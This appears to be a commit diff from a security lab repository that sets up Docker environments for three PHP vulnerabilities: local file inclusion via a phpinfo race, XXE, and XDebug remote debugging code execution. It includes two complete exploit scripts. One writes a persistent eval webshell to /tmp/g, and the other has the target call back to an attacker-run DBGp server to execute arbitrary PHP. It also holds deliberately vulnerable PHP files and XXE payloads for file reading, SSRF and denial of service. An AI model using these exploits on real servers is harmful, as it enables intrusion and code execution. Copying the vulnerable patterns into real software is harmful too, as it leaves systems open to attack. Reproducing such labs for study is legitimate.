利用脚本[exp.py](exp.py)实现了上述过程,成功包含临时文件后,会执行`<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>`,写入一个新的文件`/tmp/g`,这个文件就会永久留在目标机器上。
用python2执行`python exp.py your-ip 8080 100`
![](1.png)
可见执行到第289个数据包的时候就写入成功。然后利用lfi.php即可执行任意命令
![](2.png)

View File

@@ -0,0 +1,8 @@
version: '2'
services:
php:
image: php:7.2-apache
volumes:
- ./www:/var/www/html
ports:
- "8080:80"

190
php/inclusion/exp.py Normal file
View File

@@ -0,0 +1,190 @@
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()

View File

@@ -0,0 +1,2 @@
<?php
include $_GET['file'];

View File

@@ -0,0 +1,2 @@
<?php
phpinfo();

BIN
php/php_xxe/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

76
php/php_xxe/README.md Normal file
View File

@@ -0,0 +1,76 @@
# PHP XML External Entity Injection (XXE)
[中文版本(Chinese version)](README.zh-cn.md)
XML External Entity (XXE) Injection is a vulnerability that occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This vulnerability can lead to various attacks including disclosure of confidential data, denial of service, server side request forgery, port scanning, and other system impacts.
After libxml 2.9.0, external entity parsing is disabled by default, which largely mitigated XXE vulnerabilities. This environment uses libxml 2.8.0 compiled into PHP to demonstrate XXE vulnerabilities in PHP applications.
References:
- [OWASP XXE Prevention Cheat Sheet](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)
- [PHP Documentation: libxml](https://www.php.net/manual/en/book.libxml.php)
- [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)
## Environment Setup
This environment is based on the PHP 7.0.30 with libxml 2.8.0, execute the following command to start the environment:
```
docker compose up -d
```
After the server starts, visit `http://your-ip:8080/index.php` to see the phpinfo page. You can verify the libxml version (2.8.0) by searching for "libxml" on that page.
The web root directory `./www` contains three vulnerable PHP files demonstrating different XML parsing methods:
```bash
$ tree .
.
├── dom.php # Example: XML parsing using DOMDocument
├── index.php
├── SimpleXMLElement.php # Example: XML parsing using SimpleXMLElement class
└── simplexml_load_string.php # Example: XML parsing using simplexml_load_string function
```
All three files (`dom.php`, `SimpleXMLElement.php`, and `simplexml_load_string.php`) are vulnerable to XXE attacks.
## Vulnerability Reproduction
Send the following XML payload to any of the vulnerable files to read the contents of `/etc/passwd`:
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
```
The successful exploitation will display the contents of the file:
![](1.png)
### Advanced Exploitation Techniques
Reading Arbitrary Files:
```xml
<!ENTITY xxe SYSTEM "file:///path/to/sensitive/file" >
```
SSRF (Server-Side Request Forgery):
```xml
<!ENTITY xxe SYSTEM "http://internal.service.local" >
```
Denial of Service (Billion Laughs Attack):
```xml
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;">
```

View File

@@ -0,0 +1,74 @@
# PHP XML 外部实体注入漏洞XXE
XML 外部实体注入XXE是一种发生在应用程序解析 XML 输入时的安全漏洞。当 XML 解析器配置不当,处理包含对外部实体引用的 XML 输入时,可能导致敏感信息泄露、拒绝服务、服务器端请求伪造、端口扫描等多种攻击。
在 libxml 2.9.0 版本之后,默认禁用了外部实体解析,这在很大程度上缓解了 XXE 漏洞。本环境使用 libxml 2.8.0 版本编译进 PHP 中,以演示 PHP 应用中的 XXE 漏洞。PHP 版本本身并不影响 XXE 漏洞的利用。
参考链接:
- [OWASP XXE Prevention Cheat Sheet](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)
- [PHP Documentation: libxml](https://www.php.net/manual/en/book.libxml.php)
- [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)
## 环境搭建
执行如下命令启动一个基于 PHP 7.0.30 和 libxml 2.8.0 的漏洞服务器:
```
docker compose up -d
```
环境启动后,访问 `http://your-ip:8080/index.php` 可以看到 phpinfo 页面。在页面中搜索 "libxml" 可以验证其版本为 2.8.0。
Web 根目录 `./www` 包含以下文件:
```bash
$ tree .
.
├── dom.php # 示例:使用 DOMDocument 解析 XML
├── index.php
├── SimpleXMLElement.php # 示例:使用 SimpleXMLElement 类解析 XML
└── simplexml_load_string.php # 示例:使用 simplexml_load_string 函数解析 XML
```
这三个文件(`dom.php``SimpleXMLElement.php``simplexml_load_string.php`)都存在 XXE 漏洞。每个文件演示了一种可被利用的 PHP XML 解析方法。
## 漏洞复现
向上述3个文件发送以下 payload 即可读取 `/etc/passwd` 文件内容:
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<n>&xxe;</n>
</root>
```
执行结果示例:
![](1.png)
### 高级利用技巧
文件内容读取:
```xml
<!ENTITY xxe SYSTEM "file:///path/to/sensitive/file" >
```
SSRF服务器端请求伪造
```xml
<!ENTITY xxe SYSTEM "http://internal.service.local" >
```
拒绝服务攻击Billion Laughs Attack
```xml
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;">
```

View File

@@ -0,0 +1,7 @@
services:
web:
image: vulhub/php:7.0.30
volumes:
- ./www:/var/www/html
ports:
- "8080:80"

View File

@@ -0,0 +1,5 @@
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);
echo $xml->name;

7
php/php_xxe/www/dom.php Normal file
View File

@@ -0,0 +1,7 @@
<?php
$data = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);
print_r($dom);

View File

@@ -0,0 +1,2 @@
<?php
phpinfo();

View File

@@ -0,0 +1,5 @@
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;

BIN
php/xdebug-rce/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 72 KiB

66
php/xdebug-rce/README.md Normal file
View File

@@ -0,0 +1,66 @@
# PHP XDebug Remote Debugging Code Execution
[中文版本(Chinese version)](README.zh-cn.md)
XDebug is a PHP extension used for debugging PHP code. When remote debugging mode is enabled with appropriate settings, an attacker can execute arbitrary PHP code on the target server by exploiting the debug protocol (DBGp).
For XDebug version 2.x, the vulnerability occurs when the following configuration is enabled:
```ini
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
```
For XDebug version 3.x (which introduced breaking changes in configuration), the equivalent vulnerable configuration is:
```ini
xdebug.mode = debug
xdebug.discover_client_host = 1
xdebug.client_host = 1
```
When these configurations are enabled, XDebug will attempt to connect back to the attacker's IP through the DBGp protocol when a client visits the appropriate trigger URL. The DBGp protocol provides an `eval` function that can be used to execute arbitrary PHP code.
References:
- <https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface>
- <https://xdebug.org>
## Environment Setup
Execute the following command to build and start the vulnerable environment:
```
docker compose up -d
```
The environment includes two services:
- PHP 7.1 with XDebug 2.5.5: Accessible at `http://your-ip:8080/`
- PHP 7.4 with XDebug 3.1.6: Accessible at `http://your-ip:8081/`
After the environment is started, visit each URL to see a simple phpinfo page. You can verify that XDebug is enabled and configured for remote debugging in the PHP configuration section.
## Vulnerability Reproduction
Since the vulnerability requires communication using the DBGp protocol with the target server, it cannot be reproduced using HTTP protocol alone.
A proof-of-concept exploit script [exp.py](exp.py) is provided that can execute arbitrary PHP code on the target server. The script supports both XDebug 2.x (port 9000) and XDebug 3.x (port 9003):
```bash
# Requires Python 3 and the requests library
python3 exp.py -t http://[target-ip]:8080/index.php -c 'shell_exec("id");' --dbgp-ip [attacker-ip]
python3 exp.py -t http://[target-ip]:8081/index.php -c 'shell_exec("id");' --dbgp-ip [attacker-ip]
```
Successful exploitation will execute the command and return its output:
![](1.png)
### Important Notes
The exploitation process involves a reverse connection:
1. The exploit script listens on port 9000 (XDebug 2.x) and port 9003 (XDebug 3.x), please make sure these ports are not blocked by the firewall
2. You have to have a public IP address or be in the same network as the target
3. If your public IP differs from your local machine, use the `--dbgp-ip` parameter to specify the IP address that the target server can reach

View File

@@ -0,0 +1,64 @@
# PHP XDebug远程调试导致代码执行漏洞
XDebug是一个用于调试PHP代码的扩展。当启用远程调试模式并设置适当的配置时攻击者可以通过利用调试协议(DBGp)在目标服务器上执行任意PHP代码。
对于XDebug 2.x版本当配置如下时存在漏洞
```ini
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
```
对于XDebug 3.x版本当配置如下时存在漏洞
```ini
xdebug.mode = debug
xdebug.discover_client_host = 1
xdebug.client_host = 1
```
当启用这些配置时XDebug会在接收到`XDEBUG_SESSION_START``XDEBUG_SESSION``XDEBUG_TRIGGER`等参数时尝试通过DBGp协议连接回攻击者的IP。该协议提供了一个`eval`函数可用于执行任意PHP代码。
参考链接:
- <https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface>
- <https://xdebug.org>
## 环境搭建
执行如下命令编译并启动漏洞环境:
```
docker compose up -d
```
该环境包含两个服务:
- PHP 7.1 + XDebug 2.5.5:可通过`http://your-ip:8080/`访问
- PHP 7.4 + XDebug 3.1.6:可通过`http://your-ip:8081/`访问
环境启动后访问各个URL可以看到一个简单的phpinfo页面。在PHP配置部分可以验证XDebug已启用并配置了远程调试功能。
## 漏洞复现
由于漏洞需要使用DBGp协议与目标服务器通信所以无法仅使用HTTP协议复现漏洞。
Vulhub提供了一个简单的漏洞利用脚本[exp.py](exp.py)可以在目标服务器上执行任意PHP代码。该脚本同时支持XDebug 2.x端口9000和XDebug 3.x端口9003
```bash
# 需要Python 3和requests库
python3 exp.py -t http://[target-ip]:8080/index.php -c 'shell_exec("id");' --dbgp-ip [attacker-ip]
python3 exp.py -t http://[target-ip]:8081/index.php -c 'shell_exec("id");' --dbgp-ip [attacker-ip]
```
成功利用漏洞后将执行命令并返回输出:
![](1.png)
### 重要说明
漏洞利用过程涉及反向连接:
1. 利用脚本同时监听9000端口XDebug 2.x和9003端口XDebug 3.x请确保这些端口没有被防火墙阻止
2. 你需要有一个公网IP地址或与目标在同一网络中才能接收到连接
3. 如果你的公网IP与本地机器不同请使用`--dbgp-ip`参数指定目标服务器可以访问的IP地址

View File

@@ -0,0 +1,13 @@
services:
xdebug2:
image: vulhub/php:7.1-xdebug
ports:
- "8080:80"
volumes:
- ./index.php:/var/www/html/index.php
xdebug3:
image: vulhub/php:7.4-xdebug
ports:
- "8081:80"
volumes:
- ./index.php:/var/www/html/index.php

120
php/xdebug-rce/exp.py Normal file
View File

@@ -0,0 +1,120 @@
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
import socketserver
import threading
import logging
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(levelname)s - %(message)s')
server_done = threading.Event()
server_started = threading.Event()
def recv_xml(sock: socket.socket) -> bytes:
blocks = []
data = b''
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break
while data:
eop = data.find(b'\x00')
if eop < 0:
break
blocks.append(data[:eop])
data = data[eop+1:]
if len(blocks) >= 4:
break
return blocks[3]
class XDebugRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
logging.info('[+] Recieve data from %s', self.client_address)
self.request.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(self.server.code.encode()), b'\x00']))
data = recv_xml(self.request)
logging.info('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
if not g:
logging.warning('[-] No result...')
return
data = g.group(1)
try:
logging.info('[+] Result: ' + base64.b64decode(data).decode())
server_done.set()
except binascii.Error as e:
logging.error('[-] May be not string result: %s', e)
class XDebugServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
def __init__(self, server_address, handler_class, code):
self.code = code
self.allow_reuse_address = True
super().__init__(server_address, handler_class)
def server_activate(self):
super().server_activate()
logging.info('[+] Server %s started', self.server_address)
server_started.set()
def start_dbgp_server(port: int, code: str):
server = XDebugServer(('0.0.0.0', port), XDebugRequestHandler, code)
server_thread = threading.Thread(target=server.serve_forever, daemon=True)
server_thread.start()
return server_thread
def trigger_debug_session(url: str, attack_ip: str):
try:
server_started.wait(timeout=5)
logging.info('[+] Trigger debug session')
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0'
}
if attack_ip:
headers['X-Forwarded-For'] = attack_ip
requests.get(url + '?XDEBUG_SESSION_START=phpstorm&XDEBUG_SESSION=1&XDEBUG_TRIGGER=1', headers=headers, timeout=5)
except:
pass
def main():
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('--dbgp-ip', default='', help='dbgp server ip address, must can be accessed from target server.')
args = parser.parse_args()
start_dbgp_server(9000, args.code)
start_dbgp_server(9003, args.code)
threading.Thread(target=trigger_debug_session, args=(args.target, args.dbgp_ip), daemon=True).start()
try:
# Wait with a timeout, but check for interrupts
for i in range(20):
if server_done.is_set():
break
time.sleep(0.5)
else:
logging.error('[-] Execution timed out')
except KeyboardInterrupt:
logging.info('[*] Received keyboard interrupt, exiting...')
if __name__ == '__main__':
main()

2
php/xdebug-rce/index.php Normal file
View File

@@ -0,0 +1,2 @@
<?php
phpinfo();